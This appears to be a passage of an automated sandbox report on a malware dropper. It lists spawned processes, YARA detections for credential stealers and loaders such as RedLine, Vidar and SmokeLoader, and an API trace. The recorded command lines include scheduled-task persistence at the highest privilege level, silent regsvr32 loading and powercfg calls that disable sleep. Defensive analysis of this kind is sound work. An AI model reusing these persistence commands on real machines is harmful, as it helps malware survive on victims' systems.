Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000007.00000003.2850327356.00000000066F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000007.00000003.2852539306.00000000066F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe
Imagebase:	0x7ff635700000
File size:	6'153'216 bytes
MD5 hash:	817C11005CA185252E666C25769A2591
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe
Imagebase:	0xac0000
File size:	5'186'048 bytes
MD5 hash:	083BBD31609819B33AD9998C1525612A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe
Imagebase:	0xd10000
File size:	4'825'088 bytes
MD5 hash:	15A5A210A88D15A932171A9FA25A1356
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe
Imagebase:	0x230000
File size:	402'432 bytes
MD5 hash:	B841D5F5E8102EE6AC56D565FBB58879
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
Imagebase:	0x7ff7a87c0000
File size:	11'440'768 bytes
MD5 hash:	5917C8E5A003B2C211150D1F92440F79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
Imagebase:	0x140000
File size:	5'104'640 bytes
MD5 hash:	0A36767173321199A74B6C2749E293F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe
Imagebase:	0x2d0000
File size:	3'008'958 bytes
MD5 hash:	87474EC710EF8FD62769AAE7C17CEDA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
Imagebase:	0x400000
File size:	360'448 bytes
MD5 hash:	0333777653A29FF6425D4CCE9CF6998E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.3022350261.0000000001CBF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
Imagebase:	0x400000
File size:	7'017'926 bytes
MD5 hash:	A134C160036C6542BE45BA9FC2D8132D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe
Imagebase:	0x400000
File size:	4'440'952 bytes
MD5 hash:	B413116E9122E54828DE168502CF3316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe
Imagebase:	0x400000
File size:	3'377'535 bytes
MD5 hash:	08716C77EB12B403C525571C36C29FEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe
Imagebase:	0x80000
File size:	503'296 bytes
MD5 hash:	C9AD12873E4B3F8AE042800AB6CA01B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.2439089037.00000000000AE000.00000004.00000001.01000000.00000013.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
Imagebase:	0x400000
File size:	1'049'600 bytes
MD5 hash:	BABB0A05BFFC1AA3AD452F745FF1C9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe
Imagebase:	0x140000000
File size:	11'214'848 bytes
MD5 hash:	B091C4848287BE6601D720997394D453
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
Imagebase:	0x2d0000
File size:	5'077'008 bytes
MD5 hash:	D15459E9B9D12244A57809BC383B2757
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe
Imagebase:	0x400000
File size:	360'960 bytes
MD5 hash:	5EB7C8D4E4A0A7C66277EB3E4295C7A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.2716540059.0000000001AFF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000017.00000002.2719169995.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:48:28
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	05:48:28
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:48:30
Start date:	20/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x200000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:48:30
Start date:	20/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x730000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001C.00000002.2938091738.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:48:30
Start date:	20/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x940000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001D.00000002.2809504099.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:48:30
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\regsvr32.exe" -s .\SZM3Yb.I -u
Imagebase:	0xaf0000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:48:32
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x650000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:48:32
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:48:32
Start date:	20/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Imagebase:
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:48:33
Start date:	20/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	05:48:33
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp" /SL4 $20402 "C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe" 3022131 52224
Imagebase:	0x400000
File size:	663'552 bytes
MD5 hash:	813B26B63B6054C7B58D09F32E61AB18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	05:48:33
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108
Imagebase:	0x860000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:48:33
Start date:	20/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	05:48:34
Start date:	20/04/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff61a7e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:48:34
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x650000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:48:34
Start date:	20/04/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff61a7e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:48:34
Start date:	20/04/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff61a7e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:48:34
Start date:	20/04/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff61a7e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	61.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	97

Executed Functions

Function 009E2940 Relevance: 304.1, APIs: 40, Strings: 132, Instructions: 3075fileCOMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000), ref: 009E2C53
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E2CAF
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E337F
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E34EF
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E3639
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E36EF
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E383A
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E38D6
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E3A09
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E3AA4
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E3BFE
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E3C97
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E3ED8
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4039
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E4292
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4416
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E483E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4898
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4A1E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4CE4
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4E4E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E4B76

Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB24F
Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB260

CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E5C65
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E5CC0
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009E2CE0

Part of subcall function 009AB1A0: GetLastError.KERNEL32(?,009FE8D7,?,00000000), ref: 009AB207

CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E2E08
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009E2E37
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E2F2F
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E3029
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E3087
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009E31B8
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E324A

Strings

Q[Ln, xrefs: 009E37E7
$/##, xrefs: 009E33B6
6, xrefs: 009E5CF2
^G]@, xrefs: 009E39B5
qYLH, xrefs: 009E2ED2
q}FW, xrefs: 009E4CF8
nTGD, xrefs: 009E2EDC
U, xrefs: 009E59F2
', xrefs: 009E34A9
pfr, xrefs: 009E32AB
qgla, xrefs: 009E4B86
M, xrefs: 009E3BB8
pfr, xrefs: 009E3408
pfr, xrefs: 009E3CF7
qJND, xrefs: 009E51D9
PPRG, xrefs: 009E51E3
qM@^, xrefs: 009E5355
_EXV, xrefs: 009E5369
x}jb, xrefs: 009E3B11
qkCU\W]@, xrefs: 009E49F1, 009E49F7
AYEY, xrefs: 009E4E0C
\SYL, xrefs: 009E3A65
q, xrefs: 009E3E70
qgla, xrefs: 009E4B4C, 009E4B4F
qwcy, xrefs: 009E30E7
qM@^, xrefs: 009E43C5
1#&%, xrefs: 009E406F
^G]@, xrefs: 009E5A3C
[SC, xrefs: 009E3C5A
aNM/, xrefs: 009E5CDE
_ZJQ, xrefs: 009E29EF, 009E29FE, 009E2A14, 009E2A37
qOLS, xrefs: 009E5A30
pfr, xrefs: 009E4909
pfr, xrefs: 009E3936
_EXV, xrefs: 009E52EE
q}[UP_, xrefs: 009E400C, 009E4012
W[T, xrefs: 009E4374
q, xrefs: 009E566E
qOLS, xrefs: 009E39AB
q]^\, xrefs: 009E504D
_, xrefs: 009E4676
AYEY, xrefs: 009E4EA6
qcF^, xrefs: 009E3200
q}FW, xrefs: 009E4C97
^]I^, xrefs: 009E420F, 009E4212
ThZX, xrefs: 009E2CF2
^ZJQ, xrefs: 009E2993
V[], xrefs: 009E5807
qzcQ, xrefs: 009E36A5
+, xrefs: 009E5E83
_S_, xrefs: 009E4CA1
q]^\, xrefs: 009E5119
5+"(, xrefs: 009E3495
q~FT, xrefs: 009E57FD
P@pX, xrefs: 009E3A5B
qKVo, xrefs: 009E4516
";!$, xrefs: 009E3AC2
IQM!, xrefs: 009E4A3C
W[T, xrefs: 009E43CF
qJND, xrefs: 009E5181
qbZ^, xrefs: 009E3A51
qOLS, xrefs: 009E5960
q]NF, xrefs: 009E315E
|zr, xrefs: 009E3B25
AYEY, xrefs: 009E4DAA
qM@^, xrefs: 009E52DA
E]XQ, xrefs: 009E4520
_S_, xrefs: 009E4D02
aMK%, xrefs: 009E40C1
CB_Q, xrefs: 009E585E
q, xrefs: 009E5857
qh{`, xrefs: 009E2C2C, 009E2C34
q, xrefs: 009E422A
PPRG, xrefs: 009E518B
qb@S, xrefs: 009E4DF8
qOLS, xrefs: 009E59D4
pfr, xrefs: 009E4D3A
